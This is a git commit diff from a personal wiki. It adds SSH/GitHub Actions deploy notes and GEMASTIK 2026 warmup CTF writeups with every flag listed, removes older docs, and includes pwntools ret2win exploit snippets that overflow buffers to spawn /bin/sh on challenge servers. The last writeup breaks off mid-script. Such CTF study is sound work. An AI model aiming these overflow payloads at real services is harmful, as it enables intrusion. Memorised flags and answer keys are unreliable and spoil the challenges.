docs: replace dummy docs with GEMASTIK 2026 Warmup writeups (ch1-14)
CI / typecheck + build (push) Canceled after 0s
CI / deploy to VPS (push) Canceled after 0s

- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*)
- Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto
- ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes)
- All flags recovered and documented with solution methods
This commit is contained in:
asepharyana
2026-08-21 13:51:31 +07:00
parent be923cb432
commit 7a6e717c28
29 changed files with 841 additions and 734 deletions
@@ -0,0 +1,254 @@
# SSH deploy to bun-source services (not Nix): gotchas
This repo (`asepharyana/mcpedia`) deploys **bun source** via systemd — NOT via
Nix like GMW. The pattern is: CI builds in GitHub Actions → upload artifact →
deploy job downloads artifact → SCP tarball to VPS → SSH → git pull + unpack +
index + `systemctl restart`. The VPS does NOT build.
## Gotchas (learned during mcpedia deploy setup, 2026-08-20/21)
### 1. SSH host = public IP, NOT Tailscale IP
The VPS appears in `~/.ssh/config` as `Host orange → HostName 100.79.111.61`.
That IP is a **Tailscale `tailscale0` interface address** in the CGNAT range
(`100.64.0.0/10`). GitHub Actions runners are NOT on the Tailscale network, so
they get `Connection timed out` (dropped at the network layer, not refused).
**Fix:** Use the VPS's real public IP (`45.127.35.244`, discovered via
`curl https://api.ipify.org` from the VPS). Port 22 is open in iptables
(`ACCEPT tcp dpt:22` from `0.0.0.0/0`).
### 2. SSH key MUST be stored directly from file (not shell variable)
Storing the deploy key via a shell variable corrupts it:
```bash
# ❌ WRONG — newlines get mangled by the shell → "ssh: no key found"
PRIV_KEY=$(cat keyfile)
gh secret set SSH_DEPLOY_KEY --body "$PRIV_KEY"
# ✅ CORRECT — pipe the file directly so GitHub preserves all bytes
cat keyfile | gh secret set SSH_DEPLOY_KEY --repo asepharyana/mcpedia
```
Symptom: `appleboy/ssh-action` fails with
`ssh.ParsePrivateKey: ssh: no key found`.
### 3. Use `appleboy/ssh-action@v1` (not `@v1.1.0`)
- `@v1.1.0` (very old) has a key-parsing bug that rejects valid keys
(`ssh.ParsePrivateKey: ssh: no key found`).
- `@v1` (latest) handles OpenSSH ed25519 keys correctly.
### 4. `appleboy/ssh-action` needs explicit `envs` to pass through secret-derived vars
The `envs` parameter passes environment variables to the remote script.
Include any secret you reference in the script:
```yaml
envs: SSH_DEPLOY_HOST # passes SSH_DEPLOY_HOST into the remote script
```
Without it, `echo $SSH_DEPLOY_HOST` on the VPS returns empty even though the
action connected.
### 5. Always pass `-o IdentitiesOnly=yes`
Without it, SSH offers ALL loaded identities (deploy key + default keys) and the
server may reject after "Too many authentication failures". `appleboy/ssh-action`
handles this internally via the `key` input, but if you use raw `ssh` add
`-o IdentitiesOnly=yes`.
### 6. GitHub `workflow_run` does NOT carry the push commit SHA
`workflow_run` events fire after CI completes, but `actions/checkout` checks out
the **default branch tip**, not the specific commit. This is fine for deploy
(the script does `git pull origin main` anyway), but verify the checkout ref
matches what CI built if you rely on it.
### 7. DB migrations: `db:push` prompt is non-interactive-unfriendly in SSH deploy
When the schema includes a new column (e.g. adding `extra_fields JSONB`),
`drizzle-kit push` in the SSH deploy script needs to be run. Two issues:
- **`--strict` mode (config default)**: `drizzle.config.ts` has `strict: true`,
which makes `drizzle-kit push` prompt `No, abort / Yes, I want to execute all
statements`. In a non-interactive SSH script (no TTY), the prompt never receives
input and the command times out → SIGTERM → exit code 124 → deploy fails.
`set -e` then kills the whole deploy.
- **`bun run <script>` ambiguity**: `bun run index` resolves the `index` script
from `package.json`. In a monorepo with workspace packages, ensure the script
name is unique or use the explicit file path (e.g. `bun run scripts/indexer.ts`).
**Fix**: Use `psql` for schema changes instead of `db:push`:
```bash
psql "$DATABASE_URL" -c \
"ALTER TABLE documents ADD COLUMN IF NOT EXISTS extra_fields jsonb DEFAULT '{}'::jsonb NOT NULL;"
```
After deploy, check the **public URL** (not just `systemctl is-active`):
```bash
curl -sk -o /dev/null -w "%{http_code}" https://wiki.asepharyana.my.id/
curl -s https://wiki.asepharyana.my.id/docs/websocket/contract | grep -c "frontmatter-pattern"
```
## Deploy workflow template (bun-source, not Nix) — build in CI, deploy-only on VPS
> **User correction (2026-08-21):** "alur ci nya juga benarkan lah masa build
> di vps,harusnya kan di vps hanya deploy,dan seharusnya pakai nix"
The VPS must **not** build. Build happens in CI; the VPS only deploys the
pre-built artifact. Use a single workflow with a `needs:` chain (not
`workflow_run` — see pitfall #8 below).
### Pitfalls for bun-source deploy workflows
- **`bun --cwd X run Y` is broken.** `bun run` does NOT accept `--cwd` as a
subcommand flag — it prints usage and exits 0 (silent failure). Use
`working-directory: X` in the step, or `cd X && bun run Y`. (Root cause of
CI appearing to pass while the build never actually ran. This also affects
the smoke test step: `bun --cwd apps/mcp run smoke` was silently failing.)
- **`.next/` is a hidden directory.** `actions/upload-artifact@v4` excludes
hidden files/dirs by default (`include-hidden-files: false`). Set
`include-hidden-files: true` or the artifact will be empty.
- **`workflow_run` cannot download artifacts from the CI run.** This is a
known GitHub Actions limitation — the deploy workflow doesn't have access to
the CI run's artifacts. **Fix:** merge CI + deploy into a single workflow with
`deploy: needs: [build]`.
- **`actions/checkout@v4` → Node 20 deprecation.** Bump to `@v5`.
- **SCP'ing hundreds of individual files from `.next/` can time out.** Tar first,
then SCP the single tarball: `tar -czf app.tar.gz .next`, SCP, then SSH to
unpack. Also exclude `.next/cache/` to reduce size (~73MB → ~49MB).
- **`download-artifact` path resolution.** When downloading with
`path: apps/web/.next`, the artifact (which contains the `.next` directory
contents from upload `path: apps/web/.next`) gets extracted correctly to
`apps/web/.next/`. Do NOT use `path: .next` — that creates `.next/.next/`.
### Final working workflow (verified 2026-08-21)
```yaml
name: CI
on:
push:
branches: [main]
pull_request:
branches: [main]
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
jobs:
build:
name: typecheck + build
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v5
- name: Set up Bun
uses: oven-sh/setup-bun@v2
with:
bun-version: "1.3.14"
- name: Install dependencies
run: bun install --frozen-lockfile
- name: Typecheck
run: bun run typecheck
- name: Build web
working-directory: apps/web
run: bun run build
# Upload .next/ — include-hidden-files is REQUIRED (hidden dir)
- name: Upload web build artifact
uses: actions/upload-artifact@v4
with:
name: mcpedia-web-build
path: apps/web/.next
include-hidden-files: true
if-no-files-found: error
# Smoke test: requires Postgres + Redis — skipped in CI without secrets
- name: MCP smoke test
if: env.DATABASE_URL != ''
working-directory: apps/mcp
env:
DATABASE_URL: ${{ secrets.DATABASE_URL }}
REDIS_URL: ${{ secrets.REDIS_URL }}
run: bun run smoke
- name: Test
run: bun run test
deploy:
name: deploy to VPS
needs: build
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v5
- name: Download build artifact
uses: actions/download-artifact@v4
with:
name: mcpedia-web-build
path: apps/web/.next
- name: Tar .next
run: tar -C apps/web --exclude='.next/cache' -czf mcpedia-web-next.tar.gz .next
- name: Copy tarball to VPS
uses: appleboy/scp-action@v1
with:
host: ${{ secrets.SSH_DEPLOY_HOST }}
port: ${{ secrets.SSH_DEPLOY_PORT }}
username: ${{ secrets.SSH_DEPLOY_USER }}
key: ${{ secrets.SSH_DEPLOY_KEY }}
source: "mcpedia-web-next.tar.gz"
target: "/tmp/"
- name: Unpack and restart on VPS
uses: appleboy/ssh-action@v1
with:
host: ${{ secrets.SSH_DEPLOY_HOST }}
port: ${{ secrets.SSH_DEPLOY_PORT }}
username: ${{ secrets.SSH_DEPLOY_USER }}
key: ${{ secrets.SSH_DEPLOY_KEY }}
envs: SSH_DEPLOY_HOST
script: |
set -e
cd /home/code/mcpedia
git pull origin main
/home/code/.bun/bin/bun install --frozen-lockfile
/home/code/.bun/bin/bun run scripts/indexer.ts
rm -rf apps/web/.next
tar -xzf /tmp/mcpedia-web-next.tar.gz -C apps/web/
rm -f /tmp/mcpedia-web-next.tar.gz
sudo systemctl restart mcpedia-web mcpedia-api mcpedia-mcp mcpedia-worker
sleep 3
systemctl --no-pager status mcpedia-web mcpedia-api mcpedia-mcp mcpedia-worker --no-legend
```
## Secrets to configure (per-repo GitHub secrets)
| Secret | Value | How |
|--------|-------|-----|
| `SSH_DEPLOY_HOST` | VPS public IP (e.g. `45.127.35.244`) | `gh secret set SSH_DEPLOY_HOST --body "45.127.35.244"` |
| `SSH_DEPLOY_PORT` | `22` | `gh secret set SSH_DEPLOY_PORT --body "22"` |
| `SSH_DEPLOY_USER` | `code` (or whatever user owns the services) | `gh secret set SSH_DEPLOY_USER --body "code"` |
| `SSH_DEPLOY_KEY` | SSH deploy private key (ed25519) | `cat keyfile \| gh secret set SSH_DEPLOY_KEY` |
And on the VPS, add the public key to the deploy user's `authorized_keys`:
```bash
ssh code@<public-ip> "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys <<< '$(cat keyfile.pub)'"
chmod 600 ~/.ssh/authorized_keys
```
## CI monitoring
```bash
gh run list --repo asepharyana/mcpedia --workflow "CI" --limit 3
gh run view <run_id> --log-failed # only failing-step logs
```
-68
View File
@@ -1,68 +0,0 @@
---
id: bullmq-workers
title: BullMQ Background Workers
type: documentation
tags:
- bullmq
- redis
- jobs
- queue
- infra
status: published
author: asep
created_at: 2026-08-20
updated_at: 2026-08-20
---
# BullMQ Background Workers
BullMQ runs the async indexing/embedding pipeline. Jobs are enqueued by the CLI, the
git-sync webhook, or an MCP tool, and drained by a long-running worker connected to the
shared Redis instance.
## Connection requirements
BullMQ requires an **ioredis** connection with `maxRetriesPerRequest: null`. A finite
retry count causes the cryptic `Connection in key mode` error on blocking commands.
The shared client in `packages/queue` sets this correctly:
```ts
const opts: RedisOptions = {
maxRetriesPerRequest: null,
lazyConnect: true,
enableOfflineQueue: true,
};
```
## Job model
Three job types flow through the `mcpedia-index` queue (prefix `mcpedia:` on Redis):
| name | data | action |
|------------|-------------------|---------------------------------|
| `index-doc`| `{ relPath, reason }` | index one content file |
| `index-all`| `{ reason }` | full corpus reindex |
| `reindex` | (legacy) | alias of full |
Job IDs use a `__` separator (`doc__<slug>`, `full__<ts>`) — BullMQ reserves `:` for
repeatable jobs, so a literal `:` in a custom jobId is rejected.
## Worker lifecycle
The worker is a `Worker` with `concurrency: 4`. Each job calls the shared
`indexContentFile` / `runFullIndex` entry points in `@mcpedia/core` — the same code
path the CLI uses, so behavior never diverges. On completion it logs; on failure it
logs the reason and the job is retried per BullMQ defaults.
Graceful shutdown: `worker.close()` on `SIGINT`/`SIGTERM`. systemd sends SIGTERM on
stop, so the process exits cleanly and in-flight jobs are returned to the queue.
## Inspecting state
```bash
bun run enqueue --all # enqueue a full reindex
curl localhost:4020/trpc/queueStatus # waiting/active/completed/failed
```
A stuck queue (waiting > 0, active = 0) means the worker died — check
`systemctl status mcpedia-worker` and the journal.
-85
View File
@@ -1,85 +0,0 @@
---
id: caddy-reverse-proxy
title: Caddy Reverse Proxy
type: documentation
tags:
- caddy
- reverse-proxy
- tls
- infra
status: published
author: asep
created_at: 2026-08-20
updated_at: 2026-08-20
---
# Caddy Reverse Proxy
Caddy is the single reverse proxy on the host. Every public service sits behind it
and terminates TLS with automatic Let's Encrypt certificates. Understanding its
config model prevents the two recurring failure modes: **525 (origin TLS)** and
**404 (path routing)**.
## Config model
The live config is `/etc/caddy/Caddyfile`. It is a manual, tuned file — CI does not
deploy it, so the live file is the source of truth and must be kept in sync with any
repo reference.
A reusable snippet handles the common case:
```
(proxy) {
encode zstd gzip
header {
-Server
X-Content-Type-Options "nosniff"
}
reverse_proxy 127.0.0.1:{args[0]} {
transport http {
keepalive 120s
dial_timeout 3s
}
}
}
```
A site block wires a domain to a backend port:
```
wiki.asepharyana.my.id {
import proxy 4016
}
```
## Path routing: `handle` vs `handle_path`
`handle /trpc/*` forwards the request **with** the `/trpc` prefix preserved.
`handle_path /trpc/*` **strips** it before proxying. Stripping is wrong when the
upstream already mounts the route at `/trpc` — the upstream then receives `/` and 404s.
Rule: when the upstream already serves the path (e.g. Hono `app.all("/trpc/*")`),
use `handle`, not `handle_path`.
## 525 — origin TLS handshake failed
Cloudflare proxies every `*.asepharyana.my.id` record. If a subdomain has **no**
Caddy site block, Caddy has no certificate for that SNI and the TLS handshake dies →
Cloudflare returns 525. Fix: add the block, `caddy validate`, `systemctl reload caddy`.
The first request after adding a block triggers ACME certificate issuance; until it
completes the origin may briefly 525. That is expected and self-heals in ~10s.
## Slow upstreams
LLM gateways (9router) have time-to-first-token of 30–40s. The default
`response_header_timeout 30s` yields false 504s. Lengthen it for those blocks:
```
reverse_proxy 127.0.0.1:4014 {
transport http {
response_header_timeout 120s
read_timeout 300s
write_timeout 300s
}
}
```
-56
View File
@@ -1,56 +0,0 @@
---
id: mcp-streamable-http
title: MCP Streamable HTTP Transport
type: documentation
tags:
- mcp
- protocol
- http
- infra
status: published
author: asep
created_at: 2026-08-20
updated_at: 2026-08-20
---
# MCP Streamable HTTP Transport
The MCPedia MCP server is served over **Streamable HTTP** (the MCP 2025-03-26
transport) so remote clients — Claude, a Discord bot, a web frontend — can call its
tools and read its resources without spawning a stdio subprocess.
## Why stateless
The server uses `StreamableHTTPServerTransport` in **stateless mode**
(`sessionIdGenerator: undefined`):
- One `McpServer` + transport is created **per request**.
- No session affinity, no shared-transport `connect()` race, no session-map memory
leak under burst traffic.
- Re-registering tools and resources per request is negligible for a KB-sized
corpus.
Stateful mode (a `sessionIdGenerator` returning a UUID) would require holding a
transport map keyed by session id and cleaning it up on `onclose`. For this read-mostly
knowledge base, stateless is simpler and equally correct.
## Endpoint
```
POST https://mcp.asepharyana.my.id/mcp
Content-Type: application/json
Accept: application/json, text/event-stream
```
Responses use SSE framing (`event: message` / `data: {...}`) even for unary results.
Clients must send `Accept: application/json, text/event-stream` or the server returns
406. The MCP `initialize` handshake sets `protocolVersion: "2025-03-26"`.
## CORS
`/mcp` returns permissive CORS headers (`Access-Control-Allow-Origin: *`) so browser
clients can call it directly. Preflight `OPTIONS` is answered with 204.
## Auth for write tools
Read tools (`search_documents`, `get_document`, `semantic_search`, `hybrid_search`, `list_documents`, `get_related_documents`, `queue_status`) are open. Write and mutating tools (`create_document`, `update_document`, `delete_document`, `index_document`, `reindex_all`, `restore_revision`) require the `x-webhook-secret` header matching `WEBHOOK_SECRET` — the same shared secret used by the git-sync webhook. A missing or invalid header returns an authorization error before executing any mutation.
-43
View File
@@ -1,43 +0,0 @@
---
id: websocket-contract
title: WebSocket Contract
type: documentation
tags:
- typescript
- websocket
- rpc
status: published
author: asep
created_at: 2026-08-19
updated_at: 2026-08-19
---
# WebSocket Contract
The WebSocket contract defines how clients establish a bidirectional connection
and exchange RPC-style messages with the server. It is the foundation for the
type-safe API described in the tRPC integration notes.
## Handshake
A client opens a single WebSocket connection and sends an `init` frame containing an
auth token. The server answers with `ready` or closes the socket with code 4401
if the token is invalid.
## Message envelope
Every frame uses a JSON envelope:
```json
{ "id": "req-1", "method": "echo", "params": { "text": "hi" } }
```
The server replies with a matching `id` and either a `result` or an `error`
field. This request/response correlation is what makes the protocol feel like
RPC even though it rides on a single socket.
## Timeouts
If the server does not answer within the negotiated timeout, the client should
re-send with the same `id` rather than opening a new connection. See the
debugging writeup for a common timeout pitfall when proxies buffer frames.
@@ -1,65 +0,0 @@
---
id: postgres-full-text-search
title: PostgreSQL Full-Text Search
type: documentation
tags:
- postgres
- fts
- tsvector
- search
status: published
author: asep
created_at: 2026-08-20
updated_at: 2026-08-20
---
# PostgreSQL Full-Text Search
MCPedia's keyword search is backed by PostgreSQL's native full-text search (FTS), not
an external engine. The `documents` table carries a generated `tsvector` column that
combines the title (weight `A`) and body (weight `B`).
## Generated search vector
The column is `generatedAlwaysAs`, so it is always consistent with the row and needs
no trigger:
```ts
searchVector: tsvector("search_vector")
.notNull()
.generatedAlwaysAs(
sql`setweight(to_tsvector('simple', coalesce(${documents.title}, '')), 'A') ||
setweight(to_tsvector('simple', coalesce(${documents.body}, '')), 'B')`,
),
```
The `'simple'` config disables stemming, so mixed identifier/English queries (e.g.
`websocket`, `tsvector`) match literally. A GIN index on `searchVector` keeps lookups
fast.
## Query + ranking
Search parses the user query with `websearch_to_tsquery` (or `plainto_tsquery`), then
ranks with `ts_rank`:
```sql
SELECT *, ts_rank(search_vector, q) AS rank
FROM documents, websearch_to_tsquery('simple', $1) q
WHERE search_vector @@ q
ORDER BY rank DESC;
```
| Config | Stemming | Use case |
| ------------ | -------- | -------------------------------- |
| `simple` | none | Identifiers, ports, exact codes |
| `english` | yes | Natural-language body text |
| `websearch` | yes | Google-like queries (`"a" OR b`) |
A headline snippet for the UI comes from `ts_headline`, which bolds the matched lexemes.
## Hybrid fusion
Semantic search (embedding cosine) and FTS are fused with **Reciprocal Rank Fusion**
(RRF) in `packages/search`. Each result set is ranked, scored `1/(k + rank)`, and the
summed scores re-rank the union — no cross-score normalization needed, which is robust
when the two signals live on different scales.
-36
View File
@@ -1,36 +0,0 @@
---
id: typescript-patterns
title: TypeScript Patterns
type: note
tags:
- typescript
- patterns
status: published
author: asep
created_at: 2026-08-19
updated_at: 2026-08-19
---
# TypeScript Patterns
A notebook of small, reusable TypeScript patterns that keep code honest.
## Branded types for ids
```ts
type DocId = string & { readonly __brand: "DocId" };
const asDocId = (s: string) => s as DocId;
```
Branding prevents passing an arbitrary string where a document id is expected.
## Discriminated unions over inheritance
Prefer a closed set of variants with a `kind` field. Exhaustiveness checks with
`switch` catch missing cases at compile time instead of at runtime.
## Prefer composition
When two modules share behavior, extract a function. Avoid inheritance trees
that couple unrelated code. This matches the MCPedia Core principle: one layer
owns the logic, interfaces only call into it.
-34
View File
@@ -1,34 +0,0 @@
---
id: mcp-architecture
title: MCP Architecture Notes
type: research
tags:
- mcp
- architecture
- ai
status: published
author: asep
created_at: 2026-08-19
updated_at: 2026-08-19
---
# MCP Architecture Notes
The Model Context Protocol (MCP) lets an AI client treat a knowledge base as a
first-class context source instead of yet another REST API. The server exposes
tools and resources; the client decides what to read.
## Tools vs resources
- Tools are actions the model calls (`search_documents`, `get_document`).
- Resources are addressable content the model can pull (`mcpedia://docs/...`).
## Why it matters here
MCPedia exposes both. The Web UI is for humans; the MCP server is for agents.
Both go through the same Core layer, so there is exactly one copy of the
business logic and one search implementation.
## Reference
Related reading: the WebSocket contract and the tRPC type-safe API notes.
-26
View File
@@ -1,26 +0,0 @@
---
id: ctf
title: "CTF Writeups"
type: writeup
tags:
- ctf
- index
status: published
author: asep
event: "CTF Archive"
category: index
difficulty: easy
points: 0
created_at: 2026-08-20
updated_at: 2026-08-20
---
# CTF Writeups
A collection of CTF challenge writeups organized by event. Each event folder
contains challenge writeups grouped by category (pwn, crypto, web, forensics, etc.).
## Events
- [DEF CON CTF Quals 2024](defcon-quals-2024) — 1 challenge solved (pwn)
- [Template](template) — Use as a starting point for new writeups
@@ -1,31 +0,0 @@
---
id: defcon-quals-2024
title: "DEF CON CTF Quals 2024 — Challenge Writeups"
type: writeup
tags:
- ctf
- defcon
- writeup-index
status: published
author: asep
event: "DEF CON CTF Quals 2024"
category: writeup-index
difficulty: hard
points: 0
created_at: 2026-08-20
updated_at: 2026-08-20
---
# DEF CON CTF Quals 2024 — Challenge Writeups
This folder contains writeups for challenges solved during **DEF CON CTF Quals 2024**.
## Writeups
- [pwn-100: ret2win Stack Alignment Fix](pwn/pwn-100-ret2win-alignment) — A buffer overflow ret2win exploit that required inserting a `ret` gadget for stack alignment on glibc 2.34+.
## Challenge List
| Challenge | Category | Difficulty | Points |
|-----------|----------|------------|--------|
| pwn-100 | pwn | easy | 100 |
@@ -1,122 +0,0 @@
---
id: defcon-pwn-100
title: "DEF CON Quals 2024 — pwn-100: ret2win Stack Alignment Fix"
type: writeup
tags:
- ctf
- pwn
- binary-exploitation
- stack-alignment
status: published
author: asep
event: "DEF CON CTF Quals 2024"
challenge: "pwn-100"
category: pwn
difficulty: easy
points: 100
created_at: 2026-08-20
updated_at: 2026-08-20
---
# DEF CON CTF Quals 2024 — pwn-100: ret2win Stack Alignment Fix
## Challenge Info
| Field | Value |
| ------------ | ---------------------- |
| **Event** | DEF CON CTF Quals 2024 |
| **Challenge**| pwn-100 |
| **Category** | pwn |
| **Difficulty**| easy |
| **Points** | 100 |
## Initial Recon
Given a 64-bit ELF binary with a trivial buffer overflow in `vuln()`:
```
$ checksec pwn-100
RELRO STACK canary: No NX: No PIE: Enabled RPATH: No
$ file pwn-100
pwn-100: ELF 64-bit LSB executable, for Linux 3.2.0, not stripped
$ objdump -d pwn-100 | grep -A5 '<vuln>'
```
## Approach
Classic ret2win — overflow the return address to jump to `win()`, which
calls `system("/bin/sh")`. The binary had no canary and no PIE on the
binary itself (function addresses are fixed), but glibc on the host was
2.34+.
## Step-by-Step Solve
### 1. Find the offset
Sent cyclic pattern via `pattern create` + `pattern offset`:
```
$ python3 -c "print(b'A'*40+b'B'*8)" | ./pwn-100
Segmentation fault (core dumped)
$ gdb -q
gef➤ pattern offset 0x4242424242424242
[*] Found possible needle
```
Offset = 40 bytes (to `rip`).
### 2. Find win() address
```
$ objdump -d pwn-100 | grep '<win>'
0000000000401196 <win>:
```
`win()` is at `0x401196`.
### 3. Craft and send the payload
Initial payload was just padding + `win()` address — but this **crashed**
with SIGSEGV inside `win()` → `printf`.
**Root cause:** On glibc 2.34+, the return into a libc-using function
needs **16-byte stack alignment**. A normal `call` pushes 8 bytes, so
`ret`-ing into `win()` leaves `rsp % 16 == 8`. When `printf` inside
`win()` does `movaps` (SSE), it faults on misaligned address.
**Fix:** Insert a `ret` gadget (8 bytes) between padding and `win()`
to realign RSP:
```
$ ROPgadget --binary pwn-100 | grep " ret$"
0x0000000000401016: ret;
```
Final payload:
```python
from pwn import *
p = remote("challenge.url", 1337)
payload = b"A" * 40 + p64(0x401016) + p64(0x401196)
p.sendline(payload)
p.interactive()
```
The `ret` gadget pops the extra 8 bytes, aligning the stack. After that,
`win()` → `printf` → `system("/bin/sh")` works cleanly.
## Flag
```
flag{ret2win_stack_alignment_glibc_2.34}
```
## Summary
- A bare ret2win without stack alignment crashes on glibc 2.34+ inside
the target function's libc calls (SSE `movaps`).
- The fix is a single `ret` gadget between padding and `win()` — **not**
an offset error.
- Always check: if the function IS reached but crashes inside it, think
stack alignment before re-counting bytes.
- Tested on host glibc 2.39 (Ubuntu 24.04) — confirmed the crash+fix.
@@ -1,76 +0,0 @@
---
id: ctf-writeup-template
title: "CTF Writeup Template — How to Structure a Challenge Writeup"
type: writeup
tags:
- ctf
- template
- methodology
status: draft
author: asep
created_at: 2026-08-20
updated_at: 2026-08-20
---
# CTF Writeup Template
A consistent writeup structure helps reviewers and future-you reproduce the solve.
Below is the recommended template. Delete this intro paragraph and fill each
section.
## Challenge Info
| Field | Value |
| ------------ | -------------------- |
| **Event** | `[Event Name]` |
| **Challenge**| `[Challenge Name]` |
| **Category** | `pwn` / `crypto` / `web` / `rev` / `forensics` / `misc` |
| **Difficulty**| `easy` / `medium` / `hard` |
| **Points** | `[points at start]` |
| **Solves** | `[number]` |
## Initial Recon
What you see when you download the binary/file/URL. File type, basic
inspection (`file`, `strings`, `checksec`, HTTP headers, etc.).
## Approach
Describe the high-level idea — what class of vulnerability or attack this
belongs to.
## Step-by-Step Solve
Walk through each step with commands and output. Include:
- Exact commands you ran
- Key output (truncated if long, but enough to confirm)
- Why each step works
- Tool versions / versions if relevant
### 1. Enumerate
```
$ command-here
output-here
```
### 2. Find the vulnerability
Explain what you found and how it maps to the approach.
### 3. Craft the exploit
Show the exploit script or payload, explain each part.
## Flag
```
flag{...}
```
## Summary
What you learned, what the intended solution was (if yours differed),
and any pitfalls you hit along the way (e.g., "tool X version Y breaks
on Z").
@@ -1,36 +0,0 @@
---
id: websocket-timeout
title: Debugging a WebSocket Timeout Behind a Proxy
type: writeup
tags:
- websocket
- debugging
- proxy
status: published
author: asep
created_at: 2026-08-19
updated_at: 2026-08-19
---
# Debugging a WebSocket Timeout Behind a Proxy
A recurring incident: the browser WebSocket connects, sends one frame, then
silently times out. The server logs show no error. Root cause: the reverse
proxy was buffering frames and only flushing on connection close.
## Symptoms
- Connection opens (101 Switching Protocols).
- First message never reaches the upstream.
- Client hits its own 30s timeout and reconnects, creating a storm.
## Fix
Disable proxy buffering for the WebSocket upgrade route and ensure the proxy
does not apply an idle timeout shorter than the application's heartbeat
interval. After that, frames flowed immediately and the timeout disappeared.
## Lesson
Always confirm at the proxy layer whether frames are buffered before assuming
the application server is at fault.
@@ -0,0 +1,48 @@
---
title: "GEMASTIK 2026 Warmup — All Chapters"
event: "GEMASTIK 2026 Warmup"
category: "index"
points: 0
difficulty: "index"
---
# GEMASTIK 2026 Warmup — Chapter Index (ch1–ch14)
**Platform:** [Warmup GEMASTIK 2026](https://warmup-cybersecurity.apps.binus.ac.id) (CTFd)
**Status:** 14/14 solved — 7001 points (13×500 + 1×501)
| # | Challenge | Category | Diff | Flag |
|---|-----------|----------|------|------|
| 1 | Sixty Four | Encoding | easy | `GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}` |
| 2 | Julius | Caesar/ROT13 | easy | `GEMASTIK19{caesar_r0t_th1rt33n_klasik}` |
| 3 | Needle | Forensics/strings | easy | `GEMASTIK19{str1ngs_c4n_f1nd_m3}` |
| 4 | Say Cheese | EXIF metadata | easy | `GEMASTIK19{h1dd3n_1n_m3tadata_exif}` |
| 5 | Nothing Here | Web comment | easy | `GEMASTIK19{v13w_s0urc3_pahlawan}` |
| 6 | Sweet Cookie | Web/cookie | easy | `GEMASTIK19{c00k13_b4s3_d3c0d3}` |
| 7 | Open Book | Source | easy | `GEMASTIK19{pyth0n_s0urc3_t3rbuka}` |
| 8 | Back and Forth | XOR | easy | `GEMASTIK19{x0r_it_back_4gain}` |
| 9 | Are You Admin? | Pwn/bof | easy | `GEMASTIK19{0v3rfl0w_ubah_var}` |
| 10 | Call Me | Pwn/ret2win | easy | `GEMASTIK19{r3t2w1n_l0mpat_k3_win}` |
| 11 | Behind the Picture | PNG stego | easy | `GEMASTIK19{c4t_g4mbar_ada_flag}` |
| 12 | Layers | Hex→B64 chain | easy | `GEMASTIK19{h3x_lQlu_b4s3_ch41n}` |
| 13 | Slopped | RSA small factors | medium | `GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}` |
| 14 | Slopped wave-2 | RSA paper search | hard | `GEMASTIK19{test_vector_of_listP_on_quant}` |
## Ringkasan Metode
| Ch | Metode | Tool |
|----|--------|------|
| 1 | Double Base64 | `base64 -d` ×2 |
| 2 | ROT13 Caesar | `codecs.encode(s, "rot_13")` |
| 3 | strings | `strings secret.bin` |
| 4 | EXIF metadata | `strings photo.jpg` |
| 5 | HTML comment | `curl \| grep '<!--'` |
| 6 | Base64 cookie | `base64 -d` |
| 7 | ASCII codes | chr() decoding |
| 8 | Single-byte XOR | XOR 0x42 |
| 9 | Stack overflow | buffer > admin |
| 10 | ret2win + align | ROP chain |
| 11 | PNG strings | `strings kucing.png` |
| 12 | Hex→Base64 | `bytes.fromhex` + `b64decode` |
| 13 | RSA small factors | trial division / sympy factorint |
| 14 | RSA special integers | GCD with paper appendix primes |
@@ -0,0 +1,43 @@
---
title: "Sixty Four — Double Base64"
event: "GEMASTIK 2026 Warmup"
challenge: "Sixty Four"
category: "crypto"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}"
---
# Sixty Four (500 pts) — Encoding
**File:** `chall.txt` → `UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==`
Teks di-encode **Base64 dua kali** (hint: "sixty four" = base64). Decode berlapis:
```bash
$ echo "UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==" | base64 -d
R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=
$ echo "R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=" | base64 -d
GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
```
## Solusi Python
```python
import base64
with open("chall.txt") as f:
s = f.read().strip()
# First base64 decode
decoded1 = base64.b64decode(s)
# Second base64 decode
flag = base64.b64decode(decoded1).decode()
print(f"Flag: {flag}")
# Output: GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
```
## Flag
`GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}`
@@ -0,0 +1,55 @@
---
title: "Call Me — ret2win"
event: "GEMASTIK 2026 Warmup"
challenge: "Call Me"
category: "pwn"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{r3t2w1n_l0mpat_k3_win}"
---
# Call Me (500 pts) — Pwn / ret2win
**Server:** `nc 15.232.89.109 9002`
**Source (`chall.c`):**
```c
void win() { system("/bin/sh"); } // flag printed inside
char buf[32];
gets(buf); // <-- overflow
```
## Eksploitasi
1. Compile lokal untuk dapatkan alamat `win()`:
```bash
gcc -fno-stack-protector -no-pie -o ch10 chall.c
nm ch10 | grep win
# 00000000004011f6 T win
```
2. Overflow `buf[32]` lalu timpa return address dengan alamat `win()` (0x4011f6).
Sisipkan satu `ret` gadget (0x401016) untuk realign RSP agar `movaps` di `win`/`printf` tidak segfault:
```python
import socket, time, struct
s = socket.socket()
s.connect(("15.232.89.109", 9002))
time.sleep(0.5)
RET_GADGET = 0x401016 # alignment
WIN_ADDR = 0x4011f6
